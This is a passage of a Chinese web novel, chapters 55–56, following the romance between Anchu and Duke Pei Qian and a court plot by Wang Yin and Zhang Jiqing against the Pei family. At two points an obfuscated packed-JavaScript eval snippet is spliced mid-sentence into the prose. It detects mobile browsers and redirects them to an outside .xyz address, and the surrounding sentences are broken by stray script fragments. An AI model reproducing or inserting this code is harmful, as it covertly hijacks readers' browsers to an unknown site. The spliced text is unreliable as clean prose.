筑风格典雅大气,朗阔自然,家具装饰也朴实厚拙,只是往里面走越走越风格迥异。前院是朴素的风格,大刀阔斧,线条粗糙。走过两道院墙后,院子的装潢开始精巧瑰丽。 因为种着符合时令的花草,繁花相簇,过渡自然。 花影深处,一人卧在贵妃椅中,百无聊赖地抱着一本旧书,另一人坐在跟前……啃苹果。 “你之前是不是没有好好喝药?” 号完脉,安楚眉头紧蹙,相比于从前,裴承影的脉象出奇缓慢。种种迹象说明,他的身体不仅没有恢复,还更加虚弱了。 照这样下去,猴年马月才能离开国公府,搞不好还得跟这位爷殉葬。 裴谦若无其事地将面前的汤药端起,小心翼翼地啜了一口。 他躺在纷杂馥郁的花架下,淡粉色的小花迎风飘着香气。 腿悬空着,贵妃椅摇了又摇。裴谦身形不算壮硕,但身材的线条清晰,几重松散的衣袍下,尚且能观摩一二其流畅的轮廓。 “苦……”裴谦小声抱怨道。 “蜜饯。”安楚例行公事,将一碟糖渍桃瓣放到他跟前。 这家伙可真难哄,吃个汤药都要拿蜜饯压苦味,虽然口头嫌弃过一阵子,却也偏偏心软学着做蜜饯。 阿敏倾囊相授,毕竟之前府里面不怎么做甜品,也不知道怎么回事,国公爷吵着药太苦,没蜜饯绝不肯喝。 云沧海作为贴身侍卫,对主子的心思昭然若揭。和敌方将领捅个对穿的时候,可没听见他支支吾吾。 “还是苦……”裴谦恃宠而骄。 “爱喝不喝。”安楚深吸一口气,索性将药碗端起来,站起身刹那,却被对方揪住衣角。 碗被安置到身侧的暗红色的漆器盒子里。 安楚回头,眼前人眸子里闪着忽明忽暗的光,微微星火如流萤,扑腾闪烁的光点又像是沉睡在遥远银河的星宿。 这人就是很奇怪的存在,风华难以用言语形容。就算是在病中,也有难掩的精致和昳丽,让人情不自禁地想要多看两眼。 看着看着就挪不开眼了,如此一来国公爷的目的便达到了。 哗的一下,安楚便被拽进一个蓄谋已久的怀抱。 裴谦不是急色之人,他虽被伤透了心,但还是不改从前,该怎么挑逗就怎么挑逗。 她是拽不回怀里的风筝,只能借着好风一次次迎上碧天青云。 裴谦顺毛似的摸了摸安楚背后的长发,发丝柔软,在光下好像每一个根发丝都泛着光。 发丝比人柔软。 他道:“我听云沧海说,你把救回来的姑娘安排出去了。” “迟早是要走的。”安楚轻微转了个身,但奈何椅子太过狭窄。 她没骨头似的,靠着对方的胸膛,身体避免放弃了挣扎。 摇椅就着两人的重量,吱呀吱呀晃了一声。 裴谦又道:“你的身体,也不见得恢复。” 安楚也没有刻意避开这个问题,她道:“一辈子不好,总不能一辈子赖在你这儿。” 她已经不抱希望了,身体什么状况,没有人比她自己更清楚。 55.无处可藏 两人最轻微的动作,在充斥着暖意的金色夕阳下无限放大,悬空的衣摆晃动着,在微风中荡起一段细小的弧度。 她有太多事不够明白,从小的经历便教会她不要轻易地信赖任何一个人。因而她无法确定自己的情思,更无法去判断谁是她能够托付的人。 “我们就这样聊着天?”安楚忍不住了,她想要起身,却被一股大力重新拽了下去。 “身体不好不要紧,好歹肉/体无碍。”裴谦若无其事地将她拉入更深的怀抱,是清冽的露珠潮气,混杂着苦涩的药味,最后将那一股厚重的檀香味一并勾了出来。 上一秒还在说身体,下一秒就要商讨肉/体了。这是什么强盗逻辑? “君子也是饮食男女,我懂。”安楚尴尬笑了笑。 胸膛和腹肌触感无比清晰,慌乱之中,安楚不知道误触了多少回。 两人的身体相碰,是无可避免的。裴谦的上身微微前倾,露出一片精瘦而紧实的腹部,勾勒出一道道清晰的线条。安楚的动作顿了一下,她的手指轻轻触碰到了那片坚硬的肌肉。 腹肌线条分明,每一寸都充满了力量感。安楚突然觉得有些好奇,手指暗中微微使劲,感受着那紧实而有弹性的质感,仿佛能感受到裴谦身体里蕴含的力量。 这身材,确实无可挑剔。 裴谦得意洋洋地等着对方的艳羡,可惜只等来了一句令他哭笑不得的话。 “哼,我也会练出来的……”她恋恋不舍地划拉两下,小声嘀咕道。 眸子里倒映天光,瑟缩着一道清晰可见的人影。 倒影唯有她一人,他愿意喜欢这样一个不开窍的女子。 他在这些日子的相处中,裴谦大概摸清楚安楚的性子,什么事越界,什么事她能接受,诸如此类的问题,裴谦心里都有数。 “喜欢?”裴谦挑眉,将两个字咬得很慢,就势反握住她的手,实实在在地从胸口下滑至小腹,触感粗砺,时而温热一阵,时而一阵冷意。一路向下,快要触及红线的时候戛然而止,她脑子轰地烧开了花。 他的手心并不像寻常贵公子那样柔软,掌心和虎口生着薄茧,此刻将她捏在手心,不由得生出一些别样的滋味。 裴谦的动作充满不可抗拒的诱导性,勾引着她陷进更深的漩涡,一步一步踏进专门为她打造的陷阱。 她会是心甘情愿的么? 她若不是愿意,又怎会走进他的牢笼? 他的嗓音低沉,极其有魅惑力,沙沙的像刚才一口咬下去的苹果,汁水顺着指缝和手腕淌下,甜腻的香气环绕在鼻尖,让人不得不接受它的味道。 安楚感觉自己的手被烫着了,想抽手却被裴谦再次握紧了,本着豆腐不吃白不吃的原则,她爪子在他身前又胡乱地摸了好几下。 “痒……” 他唇缝溢出的气息,还有温热的鼻息落在安楚的颈间。 晃动的椅子摇得更加剧烈了,裴谦将她护在怀里,免得真的让人飞出去了。 她微微一怔,本以为自己能在这沉默中保持距离,可裴谦的动作却让她的心跳不由自主地加速。 没有躲开,只是微微偏过头,目光相接。 “还要干嘛?”安楚问。 “就想抱抱你。”裴谦回答。 裴谦似乎对她的离去有所预知,所以他在相处中格外过分,理所应当地侵占、最好能让她染上自己独属的味道。 临近夕阳霞光印染然半边天。 酒肆阁楼,黑影攒动,从高耸的屋檐间穿梭,在暗夜中如张开翅滑翔的蝙蝠。 王隐招了招手,继而将掌心的薄纸片凑近跳跃的火苗,墨迹和纸张扭曲成一团,刹那间升腾成灰,化在风里消失不见。 他对着暗处的影子施令道:“今晚城南城北换防,于思宽那边,你去安排人手,叫他们闹出一些动静。” 黑鸱军,乃世家之暗卫,忠诚之极致也。其名取自《山海经》中记载的神鸟,鸱鸮,性情凶猛,目光如炬,能于暗夜之中洞察一切。 他们均为王守纪还在时,为家族精心挑选的精英。那些孩子们自幼接受严苛训练,身手矫健,武艺高强,不为外物所诱。黑鸱军的成员有特定的标符,身着黑衣,面覆黑纱,行踪诡秘,犹如黑夜中的幽灵,无声无息地穿梭于繁华与荒芜之间。 在世家的暗影中,黑鸱军如同一把锋利的匕首,随时准备刺向那些敢于威胁家族的存在。 张记清正襟危坐,在王隐对面垂眸望向棋盘,星罗密布,已是开端,他嗤笑道:“王大人,您不出手也就罢了,一出手就是劳命伤财的事,心狠手辣。” 王隐偏过身子,若无其事地继续落下一子,棋盘之上的方寸天地,他展现得游刃有余:“趁着今晚,换防混乱之际,将流民和山匪放进城里,烧杀抢掠一番,那些口口声声深明大义的家伙们,就该老实了。” 棋风如其人,表面上窝囊退缩,实则所到之处寸草不生。 张记清顺手抓起一杯热茶,淡淡道:“裴欣左右一个女人,就算是什么户部尚书,那也是皇帝的权宜之计,上不得台面,你这么为大费周章,图什么?” 王隐重重道:“一个女人?可是她姓裴,前些日子还敢安排人烧粮仓,总有一天,她会把这些事兜到圣上面前,到时候才是哭都来不及了。你年纪尚小,终究不够心狠。” 张记清却淡然摇头,温声道:“小小裴家,不足为惧。” 裴谦放任边缘太久,早成了朝堂之上的游离人物。他不争不抢,在皇帝面前从不找好处。要不是他跟着六殿下跟太子殿下有交情,郢都大大小小的家族早就忘记他这号儿人。 “圣上能不知道粮仓空了,不过是借着裴欣敲打我们这些老臣。”王隐皱了皱鼻子,以放松的姿态半躺在椅子里:“话说回来,不就是几石粮草,也算不得什么。” 张记清漫不经心地捻起一颗紫色水晶的棋子:“先是整顿粮草,再就是库银,饭一口口吃,路一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903615|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步步走,总有一天,老账新账一起算,回马桥那一次不就是这样么,矛盾积攒,攒到无法控制的地步。到那个时候,又是新的一轮清洗。猜猜到那个时候,会殒落哪些世家?” 烛火之下,闪烁飘摇的光影折射得那颗棋子绽放出绮丽的光彩,如在指尖裂开的朵朵莲瓣。 王隐一怔,没想到这家伙能把回马桥的事说得如此顺口。 张记清粲然一笑,唇角勾起一丝浅薄如寒春的笑意,道:“王司徒,他不是看裴谦不痛快良久了么,若是有他助力,自然是会顺利许多。” 王隐冷哼:“你不知道我那个侄子,他什么人都不认。” 王策云是个认死理的人,他自知被架在火上烤,也选择了跟裴谦一样的路子。 不理俗务,不邀功揽权。 张记清闷声笑道:“裴谦他总认得吧,他老子裴仲安,王司徒也还记得吧。不灭裴家,王司徒难平杀父之愤,一箭双雕的事,王策云没理由拒绝。” 除了王守纪的事情,王策云对这个世道基本不会展现一丝一毫的探知欲。 但他真的很在意外人对其父的看法,这种固执演变成了心病,这块儿心病又让他慢慢病态。数年前,王守纪因裴仲安战败,一同连累,客死他乡。 对王守纪的死法,郢都之中众说纷纭,谣传最盛的还是王父为裴仲安所害。 裴仲安在前线上判断失误,延误战机,将敌后方的斥候军队也拖累了,导致北地军队反包抄,直接将王守纪的小支军队杀得片甲不留。 众人看来,王策云与裴谦维续着表面上的相安无事,实际上梁子已经结下了。 刀锋剑影,互不退让。 不过这些都是沉寂已久的旧事,若不是实心眼的傻子,断不敢当着当事人的面提起这些话。 蜡油垂泪,淅沥剥落,顺着烛身流淌,像一颗颗鲛人泪珠,落至黄金托盘上,如汹涌潮水卷起撞上礁石,白浪堆叠,一层盖过一层。 王隐默然,知道眼前这位看似普通的门客不是想象中那样,单单贪图荣华富贵的主。这家伙知道的太多,野心可见一斑。 张记清微抬下巴,沉声道:“是时候动手了,郢都安静了太多年,王司徒置身事外太久,国公府那位不一样是如此么?” “你在六殿下身边那么久,与国公爷交情也不浅,现在这样不留情面地摆他一道,到以后被查出来了始末,岂不是再也没有回旋的余地了?”王隐反问道。 他的眉心紧蹙,仿佛被千钧重担压住,难以舒展。他那目光游移不定的目光似是在寻找什么。胸膛里揣着的那颗心,像悬在半空的孤灯,风雨飘摇,随时都可能熄灭。 与摸不清底细的人合作,难免多生疑虑。王隐不动声色地打量着眼前的少年人,心想这样的人是怎么心甘情愿在秦王府里当门客的。 “这不是王大人您应该操心的事。”张记清幽幽目光如鬼火,忽明忽暗的眸子里,仿佛藏着无尽的秘密与深沉的忧郁。 56.唇齿生香 “赵裕昌那边已经处理好了,相关的人也都下狱了,按照正常的司法程序去处置。” 夜幕低垂,月色如水,洒在窗棂上,透出一丝清冷的光。屋内,昏黄的烛光摇曳,将两人的影子拉得老长。 安楚伏案而坐,手中提着一支笔,专注地翻阅着堆积如山的简牍,她眉头微微蹙起,似在思索着什么难题。 裴谦则坐在对面,手捧着一杯药茶,热气袅袅升起,弥漫在两人之间,为这静谧的夜晚添了几分暖意。 这些日子,安楚也不曾得闲,她安顿好了昼雪,还接下了裴欣借给她的银子。钱生钱的美好愿望正在酝酿,只是不知道何时能赚上银子,将裴欣的本金和利息还上。 在此之前,她还有事情要办。 一袭淡青色的衣袍,衣摆轻轻垂落在案几上。 安楚坐在案前,发髻松散,几缕碎发垂在额前,映着烛光,显得格外柔顺。烛火闪烁,不仅将整个房间划成明暗两侧,也将她的面孔也半笼罩在昏暗里。 听闻国公爷的话,她直言不讳道:“正常的司法程序会让那几个草菅人命的家伙砍头吗?” “若是讲律法,他们必死无疑;若是讲人情,他们最后顶多流放,区别也就只有流放的距离,命还是能保住的。”裴谦轻轻抿了一口药茶,苦涩的味道在舌尖蔓延,却也让他更加清醒。 裴谦拂了拂衣袖,他近些日子心情舒畅,加上有安楚在身边,气色相比于以前,好了不知多少倍,他在安楚对面的竹席上坐下:“毕竟利益纠缠,相互牵扯,官官相护是再正常不过的。” “那无辜之人的公平何在。”她咬牙问道。 安楚停下了微微颤抖的笔锋,她乌黑的眼眸在火光里摇摆不定,是无奈和惋惜。 她听过昼雪字字泣血的过往,在坠崖之前发生了什么一五一十倒了个干净。 虽说她刚清醒过来,情绪愤懑难平,起伏巨大,但是不难推出她坠崖遇难前后发生的事。 卸磨杀驴,鸟尽弓藏。 冯家利用她,用郢都舆论摆脱权贵纷争的漩涡。为了替父亲的草堂还债,昼雪心甘情愿走进冯家的牢笼,并在进门后认真打理经商生意。纵使被所有人轻贱,她也身体力行地为冯家赚银子。 昼雪很争气,在短短的三年时间将生意做大,呕心沥血地将冯家的外债还清。 落得这样的下场,昼雪恨不得自己闭眼了便再也醒不过来。死去的亲爹娘,被冯家休弃的命运、怀着身孕被追杀…… 她不能轻易去死,她不仅要活,还要将那些恶毒的刍狗赶尽杀绝。 安楚答应过昼雪,会给她一个公平,也算是对她父母的死有一个交待。如今看来,靠着律法去执行所谓的正义,是不可能的了。 “冯家呢?”她微微仰着头,固执地问道。 幽暗的室内,目光如深潭般幽深,其中倒映着摇曳的烛火,那微弱的光芒仿佛在她眼中跳跃,却又被无尽的黑暗所吞噬。 裴谦唇角微微一扯,露出一抹淡而微讽刺的苦笑:“没有证据,除了她一个证人,还有她那些难辨真假的呈堂证供,是无法定案的。” 安楚有些失望,只是一瞬,她迅速地收敛好了自己的情绪。她自己也明白,许多事,旁人也是有难处的,她确实不该强人所难。 “贵为国公,也无法插手吗?”她问。 “多年来,我在行中书院只能领个虚职,有实权的自始至终都不是我。”裴谦只是叹了口气,望着眼前可怜巴巴的少女,正经地解释了起来。 简而言之,骂名要你裴谦背,好处要给世家小弟们享。 换以前,他肯定不愿意干这样吃力不讨好的事,但是裴谦不希望母亲的初衷变得面目全非。可是人活着总会有一些在意的人、在意的事,不然活着不是白活着么。 他不时地用手指轻轻摩挲着茶杯的边缘,那是一种无意识的小动作,仿佛在试图从这冰冷的瓷器中寻得一丝温暖,“这样的乱子,分明是冲着我来的,圣上那边已经记了我一笔,要是我再过多干涉,他肯定不会高兴。” “奉君之食禄,行忠君之事。”(注)安楚了然,点了点头。 “有些事,没办法感同身受。”他的指尖轻轻敲打着桌面,发出细微的声响,这是他内心的不安在身体上的体现。 所有人都以为他忘记了,战场上,刀光剑影,血肉横飞,每一寸土地都浸透了士兵们的鲜血,那惨痛的场景他怎么可能会忘记? 他站在前线,俯首回望身后的山川大河,是嗜血的战神,也是郢都的罪臣。 铁骑之下,血肉模糊,百姓流离失所。边陲百姓死在敌军的乱刀下,烧杀抢掠,所过之处皆为焦土。 翔云列晓阵,杀气赫长虹。(注) 少年人的怒气能让天水倒流,能让日月颠倒,寒光凛凛的长剑下,溅落无数血花,汇聚成波涛奔涌的血河。 没有人帮他,将时间推回少年人痛丧双亲的那一夜。他叩遍全郢都的世家大门,手握重兵却无人出征讨贼。 他们都站在皇帝的那一边,利用外敌之手逼死裴家。 冷血,薄情,视而不见。 裴父一生,只打过一场胜仗,只需要一场胜仗他便足以证明自己的存在就是一个罪不可赦的威胁。 他想,要是死在战场上就好了,像一抹轻飘飘的烟,被北地凛冽的寒风吹散了,在一望无垠的冻土冰川中永远沉睡。 这便是最好的结局。 可是百姓的哭喊一直在他耳边断断续续响起,他眼前一片朦胧血色。喉间哽咽着一口淤血,堵得他喘不上气。 还是要活下去啊…… 安楚稍稍有些动容,她垂下眼睑,缓缓地将迟疑的目光落到裴承影的脸上,他那双眼同样是充斥着不可言说之痛,在沉寂的寒冷冬夜里燃起一簇小小的火星:“不需要感同身受,我听闻过你在战场上的战绩,能活下去便是英雄。” 裴谦淡然一笑:“有些事,总要人去做。百姓性命如草芥,如蝼蚁。可是这天下,是千万人的天下,我会想办法做得更好。” “无人能超越五年前的小将军,如今的承影,能为千万人撑起这样的心愿吗?” 裴谦伸出手,眼眸波光潋滟:“你若在我身边,便能看见,我是否能做到。” 靡靡江蓠草,熠熠生河侧。(注) 安楚是真的愿意相信,他此刻的真心。 “你身上的毒呢?”安楚问。 她望着眼前的那双手微微有些出神,那双生着薄茧的左手,食指上的玉戒淡淡地散着温润的光。 “什么?”裴谦微微一怔。 “你连你的身体都保护不好,我怎么相信你?”安楚质疑道。 她这话有心疼的嫌疑,虽说她最不齿这些口头上的柔软示弱,却无可避免地在裴承影面前放下自尊和骄傲。她觉得自己有些莫名其妙,怎么突然对他多了莫须有的关心。 不是因为他尽快好起来,她就能心安理得远走高飞么? 为什么会变成这样,他的毒要是解不了,她好像也没办法安心。 莫名其妙的牵挂让安楚的心脏好似被一双无情的手牢牢拽紧。 “顶多不上战场,勉强苟活。”裴谦自知没趣地收回空落落的手心,眉眼处波澜不惊,“我在向你讨名分。” “可我没考虑过这么多。”她垂眸,笔尖毫毛洇染开一团墨色痕迹。 “那我现在问了,你能在之后的日子里考虑考虑吗?”裴谦抿唇,嘴唇柔软,舌尖抵在下齿有些发酸。 “一定要有名有分么……”在裴谦殷切的目光下,她脑子嗡嗡直响,有些木讷。 “我看你是喝药茶喝迷糊了。”裴谦气结,冷哼一声道。 裴谦第一次感觉身为男人的被动,这位大言不惭的小姑娘居然真没想过给他一个名分。 “不说了,我还有事,国公看完了早些歇息吧。”安楚站起身,将外袍捋顺,腰酸背痛的,伸了个懒腰准备出门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913332|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你头发……你就这么出门?”裴谦叹了口气也站起了身。 安楚摸了摸自己的发髻,发丝垂落,玉钗银簪松散,确实应该整理了。 “别动,我帮你。” 他动作熟练而温柔,仿佛在做一件再自然不过的事情。 须臾间,空气黏稠到凝滞,默契二字在暗光中流转。 像极了一对相濡以沫的老夫老妻,裴谦的举手投足展现着自己的依依不舍。 “阿楚……”他喃喃念叨着她的名。 少女转身离去的背影甚决绝,推门而出,背影如风,她根本来不及听到裴谦落到地上的这一声轻唤。 安楚配的药茶,她自己也嫌苦,尝了一口便装作无事发生,放在手边不管不问。 他端起安楚那一侧早已凉透的药茶,杯口还残有一丝淡淡的红。是她的口脂颜色,也是他亲自挑选的。 樱唇柔软,让人不由得想起了一种甘甜无名的果子,潋滟地挂在枝头。 “真是小没良心……”他的唇轻轻贴上那一侧,乌黑的羽睫颤抖着。 他放任自己想到了更多,她的脸颊该是微红的,沾染了水珠便热气腾腾的,肌肤晶亮着,眼睛也会是亮的。沾了水汽的睫毛也没能遮掩这般的亮,那双薄情的眸子,就应该婉转流波,灵动可爱。 好似一个错乱的亲吻,时间场景都不对,但他偏偏闭上了眼,稍有血气的唇瓣微微翕动,贴近了那一抹冰冷残红,苦涩的药味在唇舌间涌动。 这令人不齿的偷香…… 国公哀叹一声。 安楚骑马走在深夜的大街小巷,四周一片寂静,只有马蹄声在空旷的街道上回响。 夜色如墨,深沉而浓厚,偶尔有几盏昏黄的灯笼在远处摇曳,投下斑驳的光影,照亮马蹄下的石板路。 夜风轻轻吹过,带着一丝丝寒意,屋瓦上结了白霜,夜深露重,让安楚忍不住拉了紧身上的黑狐短绒披风。 弯弯曲曲地绕了一大圈,最后终于走进某个巷子口。巷子两旁的墙壁上爬满了青藤,月光透过藤蔓的缝隙洒下,筛出一大片清冷的白霜。 屋内灯火如豆,有人影落在窗纸上,表明屋里人还未睡。 昼雪见了来人,强撑着精神朝她笑了笑,将图纸利索地铺到安楚面前,道:“姑娘来得正好,我已派人去查探过了,此处乃是城中繁华之地,人来人往,商贾云集,正是开铺的好地方?。” 知地取胜,择地生财。(注) “我已与东家谈妥,先付一半租金,余下的等铺子开张后再补上。这商铺的位置绝佳,日后定能赚回本钱。” “书院那边……”安楚斟酌着开口。 酝酿半晌,她沉声道:“这事你不用担心,我会杀了那些狗官。” “你不必为难。”昼雪急忙解释道。 “我并不觉得为难,于私,我需要为你做一些有诚意的事,于公,那些贪赃枉法,践踏百姓性命的人渣,就应该去死。” “是你救了我,你就是我的救命恩人。那个孩子,我不想留,你也未曾劝阻我……我但凡有些良心,定不会叫你为难。”昼雪眼眶红红的,声音哽咽着,她太容易破碎了。 如今的她乐观到,即使自己被抛弃,也是无所怨言的。 安楚缓缓蹲下身,握住昼雪冰凉的双手,掌心传来的温度让对方微微一颤,她抚慰道:“无事,你现在还需要我,我便是你的依靠。” 这是女人之间的惺惺相惜。 这一处宅子是裴欣的私宅,是她年幼时从一个老姑姑手里得来的废弃宅子。 当初那位老姑娘手头紧,着急拿钱给老母亲看病,裴欣好说话,且心地纯良,二话不说便借了。尔后这位老姑姑拿这处宅子换了,裴欣推脱了好几次,最终还是抵挡不住盛意,收下便闲置了。 闲置的宅子不比庄子和田地,闲着就只能吃灰,安楚现下需要,她便顺手给了。 安楚轻声道:“你先安心养好身体,不要落了病根。”